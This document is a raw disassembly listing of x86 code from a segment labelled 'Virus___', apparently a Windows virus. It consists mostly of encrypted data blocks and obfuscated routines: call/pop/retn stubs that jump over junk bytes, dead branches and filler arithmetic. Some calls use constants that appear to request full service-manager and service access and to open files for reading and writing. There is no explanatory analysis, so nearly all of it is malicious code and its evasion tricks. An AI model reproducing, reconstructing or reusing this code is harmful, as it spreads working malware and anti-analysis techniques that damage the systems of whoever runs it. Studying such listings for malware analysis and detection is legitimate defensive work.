		dd 1A3AE9h, 0D2BF0F00h,	1639BD83h, 0F00095Dh, 0EE85h, 858DFC00h
		dd 95FF849h, 6650D48Ah,	6624E4BFh, 59EEEF81h, 6A016Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 8F8FC2C3h, 9C92EAF2h, 8B66006Ah, 6AFB8BD0h, 12E900h
		dd 0D0040000h, 0E325956h, 0F2A20EFFh, 9FF4757Fh, 8A31DF0Bh
		dd 234995FFh, 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 1FD003C3h, 0F1AE926h, 388h, 0CEBF0F00h
		dd 0F8738589h, 6A095Fh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 11682DC3h, 36EC5948h, 0F1B589A1h
		dd 6A095D06h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0A9035EFFh, 89E235E4h, 5D196995h
		dd 73B5FF09h, 0FF095FF8h, 5D038595h, 8DEE8A09h,	5FEC8485h
		dd 0DD858909h, 50095D0Ah, 65177BAh, 0FF14B241h,	5D0B4995h
		dd 52006A09h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0E979907Eh, 89E4CC7Bh, 5FED0E85h, 0F7816609h
		dd 858D6E33h, 95FEC91h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0FC35040h, 4BAAE299h,	12E950E1h, 9F000000h
		dd 6945172Ah, 0D2B02CEDh, 0E3EC9401h, 2D4CC4CEh, 0EB5FFA7h
		dd 0E8095FEDh, 0Ah, 4854FEA4h, 85B8DA02h, 14E87EBDh, 0F6000000h
		dd 0D77F8448h, 0B40E39B6h, 0A5F3CFE7h, 0E405E013h, 6677C081h
		dd 0D0F6EF81h, 95FF5F59h, 95D2A11h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0CFC35646h,	0DA814828h, 30259E00h
		dd 1D018D31h, 0BF0F095Dh, 0DD8589D2h, 0B9095D2Bh, 465CCA41h
		dd 0ECFF858Dh, 0FE9095Fh, 0F6000000h, 73E6126Dh, 0C7A35ADCh
		dd 565A01A0h, 6A50E3A3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FF3EC351h,	5FED0EB5h
		dd 820F09h, 0FF000000h,	5D2A1195h, 3D858909h, 89095D1Fh
		dd 5FED2285h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 1D55B2A8h, 89BAF270h, 8D392DE5h
		dd 5FECDE85h, 0CBBF0F09h, 0A5958B50h, 0FF095D03h, 5FED0EB5h
		dd 99958B09h, 0FF095D21h, 5D2A1195h, 9DBD8B09h,	89095D31h
		dd 5FED1A85h, 6DBD8909h, 8D095D26h, 5FECD185h, 52006A09h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0BA00D357h, 3A4C2284h, 0CE850h, 52F70000h, 3C52BB60h
		dd 0F1CD2045h, 8589DEC2h, 95D0725h, 0EB5FF59h, 66095FEDh
		dd 0FFFBCCB9h, 5D2A1195h, 19BD8B09h, 89095D1Dh,	5FED1E85h
		dd 8DFB8B09h, 5FECEC85h, 8B665109h, 0F505ACAh, 0B5FFD2B7h
		dd 95FED0Eh, 5AD78B52h,	2A1195FFh, 0A3B5095Dh, 13B58589h
		dd 7EB2095Dh, 0ECA0858Dh, 0BF0F095Fh, 6A50CAh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 60D799C3h, 3268F8D6h, 0F518589h, 0B5FF095Dh,	95FED0Eh
		dd 314DBD8Bh, 0BA60095Dh, 41A349FBh, 23B1B589h,	0FF61095Dh
		dd 5D2A1195h, 12858909h, 0F095FEDh, 858DFABFh, 95FECAFh
		dd 6E9h, 7A3ACE00h, 500FAB65h, 1F859589h, 0B5FF095Dh, 95FED0Eh
		dd 535958Bh, 95FF095Dh,	95D2A11h, 0CE9h, 92D89500h, 3D9BCD52h
		dd 90929612h, 1685894Dh, 66095FEDh, 68A989BAh, 104h, 17E58D33h
		dd 858D095Dh, 95FEDA6h,	0BD0950F8h, 95D03D9h, 206DBD29h
		dd 858D095Dh, 95FEEAAh,	7D852960h, 80095D08h, 8B6195F6h
		dd 5D152D8Dh, 6A5009h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 1BD834C3h, 9E8h,	0BC386D00h, 0BBA835Ah
		dd 5FFC5EE8h, 298D95FFh, 92BA095Dh, 0E8584080h,	14h, 8C3492Fh
		dd 0B654AC30h, 0B06DFC88h, 270F81CDh, 417F9EAAh, 12CD8D8Bh
		dd 8559095Dh, 27850FC0h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 7309C355h
		dd 83ACEDE9h, 0F15DCA4h, 0BD80D2B7h, 95FF87Fh, 11850F00h
		dd 81000000h, 46C62DDFh, 1595E912h, 0CA810000h,	265EF534h
		dd 1639BD83h, 0F00095Dh, 3E85h,	0F1816600h, 0BD8345A6h
		dd 95FFD29h, 4C840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7EB0C351h
		dd 8CD0FAh, 8BE0A71Eh, 5D2241BDh, 8D46B109h, 5FED4385h
		dd 7EDA8109h, 0E9583F6Fh, 1533h, 29B98D89h, 0B70F095Dh
		dd 25E9CAh, 8DF50000h, 5FED2E85h, 55006A09h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 50C8CE1Fh
		dd 23018D8Bh, 858D095Dh, 95FEDA6h, 11F1BD03h, 8A50095Dh
		dd 659D89D1h, 83095D1Ah, 5D1639BDh, 840F0009h, 37h, 858D95B5h
		dd 95FEECCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	4FC35040h, 7C637014h, 0EF8A804Fh, 2EE9h, 95BD3100h
		dd 8D095D02h, 5FEEB585h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8166D23Ch, 5037CBF2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8BC35747h
		dd 582FF72h, 5958BCEh, 66095D17h, 858DCA8Bh, 95FEF04h
		dd 272D8D8Bh, 150095Dh,	5D09559Dh, 30EA8109h, 0FF321F44h
		dd 5D111D95h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 10C483E4h, 0CA81C08Bh, 479A9146h
		dd 1809BD83h, 7500095Dh, 29BD8309h, 95D03h, 53501974h
		dd 0D3B8C08Bh, 89000007h, 5D10AD85h, 619D8D09h,	0FF095FAAh
		dd 83585BD3h, 5D0329BDh, 17740009h, 0D3B85350h,	89000007h
		dd 5D10AD85h, 509D8D09h, 0FF095FA7h, 0F585BD3h,	0B70FFABFh
		dd 0C08BF8C8h, 81F8BF0Fh, 5FED2EBDh, 65726F09h,	0C3840F61h
		dd 8B000000h, 5D101995h, 0A6858D09h, 50095FEDh,	0EEE3858Dh
		dd 8D50095Fh, 5FEF0485h, 95FF5009h, 95D111Dh, 0C60CC483h
		dd 5D333585h, 4F684409h, 0FF96A318h, 5D08F1B5h,	73858D09h
		dd 0FF095D39h, 8DD88BD0h, 5FEF0485h, 0D3FF5009h, 0ED2E858Dh
		dd 8D50095Fh, 5FEDA685h, 0BD835009h, 95D1639h, 8D087400h
		dd 5FEECC85h, 8D06EB09h, 5FEEB585h, 858D5009h, 95FEF04h
		dd 1D95FF50h, 83095D11h, 6A10C4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BF0F9EC3h, 0A9B531D7h
		dd 6A095D1Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0FB3C356h, 95FFC9B7h, 95D2EDDh
		dd 7E8h, 0CD24E300h, 0CA6D7E2Dh, 5FFFB70Fh, 0BE59509h
		dd 0FF25095Dh, 89000000h, 5D04D195h, 5F88309h, 0AA830Fh
		dd 8B500000h, 5D0C5595h, 85C75F09h, 95D2A01h, 1, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1DC35747h, 40BA663Eh
		dd 0F98D8BDAh, 8D095D0Eh, 5FED6285h, 53006A09h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 2D518CAFh
		dd 0BF04029Ah, 0BE9E8CCh, 25000000h, 54D62456h,	0C3420220h
		dd 6BE90E7Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0EC6BC355h,	9FE15668h
		dd 5735235Eh, 23098D29h, 0BD0B095Dh, 95D0291h, 1639BD83h
		dd 0F00095Dh, 1984h, 8DD38B00h,	5FED8D85h, 8D8D8B09h, 0E9095D17h
		dd 1Ah,	1E818D89h, 858D095Dh, 95FED6Fh,	88F0Fh,	0F570000h
		dd 86h,	85895A00h, 95FEDA2h, 1639BD83h,	0F00095Dh, 1985h
		dd 45BD8B00h, 83095D2Fh, 5FFD29BDh, 840F0009h, 10h, 187D8D29h
		dd 98E9095Dh, 66000011h, 7F98C981h, 50EE9h, 810FFC00h
		dd 3, 8BFA8B66h, 1BD8BC0h, 83095D29h, 5D1809BDh, 9750009h
		dd 329BD83h, 7400095Dh,	8B535019h, 7D4B8C0h, 85890000h
		dd 95D10ADh, 0AA619D8Dh, 0D3FF095Fh, 0BD83585Bh, 95D0329h
		dd 50177400h, 7D4B853h,	85890000h, 95D10ADh, 0A7509D8Dh
		dd 0D3FF095Fh, 0F98B585Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 2AC35242h, 5877D7Fh, 81C8F031h, 7E8FCh
		dd 7B790000h, 0C44DDC3Ch, 8E905h, 77B10000h, 0CCEFA66Fh
		dd 8B5F37B8h, 8C0F53C0h, 0
; ---------------------------------------------------------------------------
		pop	edi
		push	0F003Fh
		mov	edx, [ebp+95D2A31h]
		push	0
		push	0
		push	edx
		call	sub_59C5C5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C5C5	proc near		; CODE XREF: Virus___:0059C5BDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_59C5C5	endp

; ---------------------------------------------------------------------------
		push	esp
		and	[edx+3Ah], edi
		dec	esi
		dec	esi
		push	esi
		mov	edx, [ebp+95D129Dh]
		pop	edi
		sub	[ebp+95D302Dh],	edx
		jge	loc_59C5F5
		and	edx, 4206A59Bh


loc_59C5F5:				; CODE XREF: Virus___:0059C5E9j
		push	0
		call	dword ptr [ebp+95D2BDDh]
		mov	ecx, edi
		test	eax, eax
		jnz	loc_59C620
		jmp	loc_59C61C
; ---------------------------------------------------------------------------
		dd 35E21251h, 59195690h, 1BEDDE23h, 280E652Fh
; ---------------------------------------------------------------------------


loc_59C61C:				; CODE XREF: Virus___:0059C607j
		mov	cx, 33B0h


loc_59C620:				; CODE XREF: Virus___:0059C601j
		mov	[ebp+95FED26h],	eax
		push	0
		push	ebp
		call	sub_59C631
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C631	proc near		; CODE XREF: Virus___:0059C629p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_59C631	endp

; ---------------------------------------------------------------------------
		db 9Fh,	70h, 84h
		dd 0AE9E7h, 0FBDF0000h,	240F08D8h, 0A8A3D579h, 8D89006Ah
		dd 95D25F1h, 0DE80006Ah, 67BA6690h, 6A006AD5h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 501CC356h, 958BAD8Fh, 95D2689h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 47B589C3h
		dd 0E9006AF8h, 11h, 12847D6Ah, 0D92D9677h, 0F19DC549h
		dd 0A40B5632h, 71C180E4h, 0EF04858Dh, 0BE9095Fh, 9A000000h
		dd 0E77D1FEDh, 63F8677Eh, 2B50A884h, 5D1A9195h,	8B016A09h
		dd 5D11C1BDh, 29BD8B09h, 6A095D05h, 0EE901h, 39BA0000h
		dd 0FA4DE27Ah, 2DE29A8Dh, 52A3B76Dh, 6A016Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 685F8AC3h
		dd 8D8B9253h, 95D22C1h,	0F01FF68h, 10E900h, 0D6360000h
		dd 94875606h, 0B373EB5Ah, 0A59B9510h, 0BD83CD0Bh, 95D1639h
		dd 4E840F00h, 0F000000h, 68Bh, 2D958B00h, 8D095D09h, 5FED8385h
		dd 0FE809h, 8C150000h, 13866F57h, 0D0EC93DBh, 0B6C6106Eh
		dd 0CB8B66DAh, 3EF18059h, 2CE9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 59858D63h
		dd 66095FEDh, 9E958B9h,	5D0051B5h, 8B665009h, 6A50FEh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 7595E2C3h, 339D8D2Bh, 0B501095Dh, 95D1121h, 0ED26B5FFh
		dd 57BF095Fh, 0FF0D3A83h, 5FED1295h, 50006A09h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 4D4C64DCh
		dd 0B9666D34h, 0C08522D9h, 27850Fh, 8D890000h, 95D3381h
		dd 9FE9h, 168D0F00h, 0E9000000h, 11h, 0D5DB7DEBh, 0D427E95Dh
		dd 9A2FCA9Dh, 21E1800Ch, 2A85897Dh, 3095FEDh, 5D3199BDh
		dd 2AB5FF09h, 89095FEDh, 5D1A0D8Dh, 0B595FF09h,	6A095D13h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 72C3C355h, 10AA99C7h, 118BD202h, 219D8B60h
		dd 60095D32h, 535BD29h,	8A0F095Dh, 0
; ---------------------------------------------------------------------------
		popa
		popa
		test	eax, eax
		jnz	loc_59C8CC
		push	0
		push	ebp
		call	sub_59C8B5
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C8B5	proc near		; CODE XREF: Virus___:0059C8ADp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_59C8B5	endp

; ---------------------------------------------------------------------------
		db 0D6h, 0BCh, 0D8h
; ---------------------------------------------------------------------------
		mov	di, 0A2D8h


loc_59C8CC:				; CODE XREF: Virus___:0059C8A4j
		push	10h
		mov	di, dx
		cmp	dword ptr [ebp+95D1639h], 0
		jz	loc_59C907
		jmp	loc_59C8EA
; ---------------------------------------------------------------------------
		and	dword ptr [esi+32h], 0E1C7CA25h


loc_59C8EA:				; CODE XREF: Virus___:0059C8DEj
		lea	eax, [ebp+95FED83h]
		jmp	loc_59C8FA
; ---------------------------------------------------------------------------
		db 7Ah,	0E3h, 0BCh
		db 0D7h, 2Dh
; ---------------------------------------------------------------------------


loc_59C8FA:				; CODE XREF: Virus___:0059C8F0j
		jmp	loc_59C913
; ---------------------------------------------------------------------------
		mov	dh, ah
		xor	edi, 52C0DB51h


loc_59C907:				; CODE XREF: Virus___:0059C8D8j
		lea	eax, [ebp+95FED59h]
		sub	[ebp+95D2F71h],	edx


loc_59C913:				; CODE XREF: Virus___:loc_59C8FAj
		push	eax
		and	edi, [ebp+95D31C9h]
		push	dword ptr [ebp+95FED26h]
		push	ecx
		movzx	edi, ax
		pop	edi
		call	dword ptr [ebp+95FED1Eh]
		mov	edx, edi
		mov	ecx, [ebp+95D1E9Dh]
		test	eax, eax
		jnz	loc_59C960
		push	0
		push	ebp
		call	sub_59C946
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C946	proc near		; CODE XREF: Virus___:0059C93Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_59C946	endp

; ---------------------------------------------------------------------------
		cmc
		aaa
		push	56h
		mov	edi, [ebp+95D30F9h]


loc_59C960:				; CODE XREF: Virus___:0059C935j
		mov	[ebp+95FED2Ah],	eax
		add	edi, 5DEAA275h
		push	0
		jmp	loc_59C987
; ---------------------------------------------------------------------------
		db 1Bh
		dd 0FA3ED861h, 0EE12A590h, 28F6EFF0h, 0FADB8C59h
		db 0Bh,	0A8h, 0E6h
; ---------------------------------------------------------------------------


loc_59C987:				; CODE XREF: Virus___:0059C96Ej
		push	0
		jmp	loc_59C9A0
; ---------------------------------------------------------------------------
		dw 6F1Bh
		dd 6E4A787Ah, 387A2FAAh, 547BCF3h, 0BAF48AF1h
; ---------------------------------------------------------------------------


loc_59C9A0:				; CODE XREF: Virus___:0059C989j
		push	dword ptr [ebp+95FED2Ah]
		adc	cl, 0EDh
		mov	[ebp+95D03E9h],	edi
		call	dword ptr [ebp+95FED16h]
		jbe	loc_59C9C1
		mov	[ebp+95D0A3Dh],	edi


loc_59C9C1:				; CODE XREF: Virus___:0059C9B5j
		test	eax, eax
		jnz	loc_59C9CF
		mov	[ebp+95D2F25h],	edx


loc_59C9CF:				; CODE XREF: Virus___:0059C9C3j
		push	dword ptr [ebp+95FED2Ah]
		and	ecx, 3D4B688Bh
		call	dword ptr [ebp+95D13B5h]
		mov	edx, 3CC3B81Ah
		test	eax, eax
		jnz	loc_59CA13
		push	0
		push	edi
		call	sub_59C9F9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C9F9	proc near		; CODE XREF: Virus___:0059C9F1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_59C9F9	endp

; ---------------------------------------------------------------------------
		db 89h,	78h, 0F3h
		dd 0ED9D897Ch
		db 26h,	5Dh, 9
; ---------------------------------------------------------------------------


loc_59CA13:				; CODE XREF: Virus___:0059C9E8j
		push	0
		mov	[ebp+95D163Dh],	eax
		push	80h
		sub	[ebp+95D16F5h],	edx
		add	[ebp+95D10F1h],	esi
		push	3
		or	dl, 0BCh
		movsx	ecx, bx
		push	0
		mov	edi, [ebp+95D20C1h]
		push	0
		push	0
		push	edi
		call	sub_59CA49
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CA49	proc near		; CODE XREF: Virus___:0059CA41p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_59CA49	endp

; ---------------------------------------------------------------------------
		popa
		sbb	dword ptr [ebx-18h], 0A595298Eh
		push	ds
		pop	ebp
		or	[ecx], esi
		mov	ebp, 95D15F5h
		push	0C0000000h
		mov	di, 8220h
		push	dword ptr [ebp+95FEDA2h]
		jmp	loc_59CA91
; ---------------------------------------------------------------------------
		dw 0DD32h
		dd 470FA121h, 23803EBEh, 361C89B7h, 0B882B891h
		db 1Dh
; ---------------------------------------------------------------------------


loc_59CA91:				; CODE XREF: Virus___:0059CA79j
		call	dword ptr [ebp+95D33C9h]
		mov	cx, 4D32h
		cmp	eax, 0FFFFFFFFh
		jnz	loc_59CFC9
		inc	dword ptr [ebp+95FF810h]
		sbb	dl, 56h
		cmp	dword ptr [ebp+95FF810h], 2
		jz	loc_59CEDC
		push	0
		push	eax
		call	sub_59CAC5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CAC5	proc near		; CODE XREF: Virus___:0059CABDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_59CAC5	endp

; ---------------------------------------------------------------------------
		or	al, 0FCh
		lea	eax, dword_5B243B[ebp]
		jmp	loc_59CAF6
; ---------------------------------------------------------------------------
		dw 5213h
		dd 70C56A64h, 0C97A964Ah, 21BD86F1h, 0AF6EC901h
		db 6Fh,	0Eh
; ---------------------------------------------------------------------------


loc_59CAF6:				; CODE XREF: Virus___:0059CADDj
		call	eax
		mov	edx, [ebp+95D16F5h]
		lea	eax, dword_5B1E8E[ebp]
		push	0
		push	eax
		call	sub_59CB0F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CB0F	proc near		; CODE XREF: Virus___:0059CB07p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_59CB0F	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	[ebp+95D0301h],	edx
		mov	edi, eax
		sub	[ebp+95D1EA9h],	edx
		call	eax
		call	near ptr loc_59CB3F+2
		sbb	ah, ch
		cmp	al, 86h
		adc	dh, [ecx-31h]
		pop	ebp
		sub	edx, [ecx]


loc_59CB3F:				; CODE XREF: Virus___:0059CB30p
		sub	[ecx-75h], ebx
		cli
		pop	edx
		mov	eax, eax
		clc
		mov	edx, [ebp+95D1EA5h]
		cmp	dword ptr [ebp+95D1809h], 0
		jnz	short loc_59CB5F
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59CB78


loc_59CB5F:				; CODE XREF: Virus___:0059CB54j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D8h
		mov	[ebp+95D10ADh],	eax
		lea	ebx, [ebp+95FAA61h]
		call	ebx
		pop	ebx
		pop	eax


loc_59CB78:				; CODE XREF: Virus___:0059CB5Dj
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59CB98
		push	eax
		push	ebx
		mov	eax, 7D8h
		mov	[ebp+95D10ADh],	eax
		lea	ebx, [ebp+95FA750h]
		call	ebx
		pop	ebx
		pop	eax


loc_59CB98:				; CODE XREF: Virus___:0059CB7Fj
		push	0
		push	ecx
		call	sub_59CBA3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CBA3	proc near		; CODE XREF: Virus___:0059CB9Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_59CBA3	endp

; ---------------------------------------------------------------------------
		db 3Bh
; ---------------------------------------------------------------------------
		jmp	loc_59CBC8
; ---------------------------------------------------------------------------
		db 7Eh,	2Ch, 0DBh
		dd 493A07DAh, 0DFEEDBE0h, 0D9CA2FBAh
; ---------------------------------------------------------------------------


loc_59CBC8:				; CODE XREF: Virus___:0059CBB4j
		or	[ebp+95D164Dh],	ecx
		mov	[ebp+95D245Dh],	eax
		mov	eax, eax
		jb	loc_59CBE2
		mov	edx, [ebp+95D1479h]


loc_59CBE2:				; CODE XREF: Virus___:0059CBD6j
		push	0F003Fh
		push	0
		push	edx
		call	sub_59CBF2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CBF2	proc near		; CODE XREF: Virus___:0059CBEAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_59CBF2	endp

; ---------------------------------------------------------------------------
		dw 0A313h
; ---------------------------------------------------------------------------
		dec	esi
		aad	52h
		jmp	loc_59CC11
; ---------------------------------------------------------------------------
		lodsd
		inc	ebp
		mov	bh, 0Bh
		aaa


loc_59CC11:				; CODE XREF: Virus___:0059CC07j
		push	0
		mov	edx, [ebp+95D1745h]
		push	0
		jmp	loc_59CC2B
; ---------------------------------------------------------------------------
		dd 2E88482Ah, 0B1A956E0h
		db 1Dh,	0F4h, 67h
; ---------------------------------------------------------------------------


loc_59CC2B:				; CODE XREF: Virus___:0059CC1Bj
		call	dword ptr [ebp+95D2BDDh]
		xor	edx, [ebp+95D2A3Dh]
		test	eax, eax
		sub	[ebp+95D2BADh],	edi
		mov	[ebp+95FED26h],	eax
		movsx	ecx, bx
		push	0F01FFh
		cld
		cmp	dword ptr [ebp+95D1639h], 0
		jz	loc_59CC94
		push	0
		push	esi
		call	sub_59CC66
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CC66	proc near		; CODE XREF: Virus___:0059CC5Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_59CC66	endp

; ---------------------------------------------------------------------------
		inc	eax
		sahf
		xor	eax, 63540764h
		xor	dx, 2BADh
		mov	cx, 0A99Ah
		lea	eax, [ebp+95FED83h]
		jmp	loc_59CCB3
; ---------------------------------------------------------------------------
		movzx	edi, bx


loc_59CC94:				; CODE XREF: Virus___:0059CC55j
		lea	eax, [ebp+95FED59h]
		jmp	loc_59CCB3
; ---------------------------------------------------------------------------
		db 32h
		dd 0BA61ADA4h, 50EC1351h, 0F22E6A3Fh, 0CFB581B3h
		db 51h,	6Eh, 87h
; ---------------------------------------------------------------------------


loc_59CCB3:				; CODE XREF: Virus___:0059CC8Cj
					; Virus___:0059CC9Aj
		push	eax
		sub	[ebp+95D086Dh],	ebx
		and	dl, 29h
		push	dword ptr [ebp+95FED26h]
		or	ecx, [ebp+95D06F9h]
		call	dword ptr [ebp+95FED1Eh]
		jl	loc_59CCDB
		xor	[ebp+95D2159h],	edi


loc_59CCDB:				; CODE XREF: Virus___:0059CCCFj
		mov	[ebp+95FED2Ah],	eax
		mov	[ebp+95D0C55h],	esi
		mov	dword ptr [ebp+95D0889h], 0
		push	0
		push	esi
		call	sub_59CCFC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CCFC	proc near		; CODE XREF: Virus___:0059CCF4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_59CCFC	endp

; ---------------------------------------------------------------------------
		dd 0F4C39588h, 0ED2ABD83h, 0F00095Fh, 19584h, 7E800h, 39750000h
		dd 0B7EA383h, 28F0F0Ch,	51000000h, 858D5F5Ah, 95FF008h
		dd 2BCD958Bh, 8950095Dh, 5D0C0D8Dh, 89016A09h, 5D1199BDh
		dd 2AB5FF09h, 0F095FEDh, 1E88h,	12E800h, 33EA0000h, 0DE389F2Bh
		dd 0BE5C394h, 85B1218Dh, 0FBBDF06Ch, 331DE181h,	0FF5F3C29h
		dd 5FED2295h, 19958B09h, 0FF095D2Ch, 5FED2AB5h,	45BD0109h
		dd 0FF095D2Bh, 5D13B595h, 19958B09h, 68095D26h,	0F01FFh
		dd 5E9h, 0F181D700h, 0BD830ACEh, 95D1639h, 3A840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 3B92C352h, 8B66C977h, 83858DD1h, 2B095FEDh
		dd 5D140D95h, 32E909h, 81660000h, 0B53A84CAh, 59858D61h
		dd 6A095FEDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 645EC351h, 0BFE598B6h,	544C81BDh
		dd 6870F50h, 89000000h,	5D17558Dh, 26B5FF09h, 8A095FEDh
		dd 1E95FFF3h, 89095FEDh, 5D18918Dh, 2A858909h, 89095FEDh
		dd 5D2F858Dh, 2AB5FF09h, 81095FEDh, 9B9A6CEAh, 0C3B9667Ah
		dd 1A95FF36h, 0F095FEDh, 0B5FFD3BFh, 95FED2Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 77C35545h, 1D814B0Ah
		dd 2A99B589h, 16BF095Dh, 0FF564EBCh, 5D13B595h,	0DE809h
		dd 23030000h, 5F76DAC8h, 84DFB8A4h, 3157BD74h, 5D17CD85h
		dd 58E95F09h, 6AFFFFF6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0E064C355h,	0BA9FBD6Ch
		dd 31B15F25h
; ---------------------------------------------------------------------------


loc_59CEDC:				; CODE XREF: Virus___:0059CAB4j
		push	dword ptr [ebp+95FF873h]
		call	dword ptr [ebp+95D2259h]
		mov	eax, [ebp+95D0299h]
		mov	[ebp+95D13B9h],	edi
		jmp	loc_59D4D9
; ---------------------------------------------------------------------------
		db 0E8h, 13h, 0
		dd 0F6B50000h, 732A6376h, 0A962A740h, 853EBDC5h, 8637B1E3h
		dd 11958B2Bh, 5A095D28h, 0F028B58Dh, 8D8B095Fh,	95D1941h
		dd 0A432858Dh, 0BF0F095Fh, 0F5D0FFD2h, 0CE9006Ah, 8A000000h
		dd 99F704FAh, 500B427Ah, 0FFC8DEC4h, 5D02BD95h,	0DE809h
		dd 75180000h, 0A1C89027h, 0F4209670h, 8049C398h, 8B5F9CC9h
		dd 158501F3h, 8D095D21h, 5FA43285h, 52006A09h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0BA9E7F75h
		dd 858B6018h, 95D2A25h,	4D858961h, 0FF095D10h, 9E8D0h
		dd 0D2C60000h, 0DDCB47h, 0FC1F979h, 6A59C9BFh, 6800F00h
		dd 60000000h, 0EA8A5956h, 0BD95FF61h, 89095D02h, 5D22199Dh
		db 9
; ---------------------------------------------------------------------------


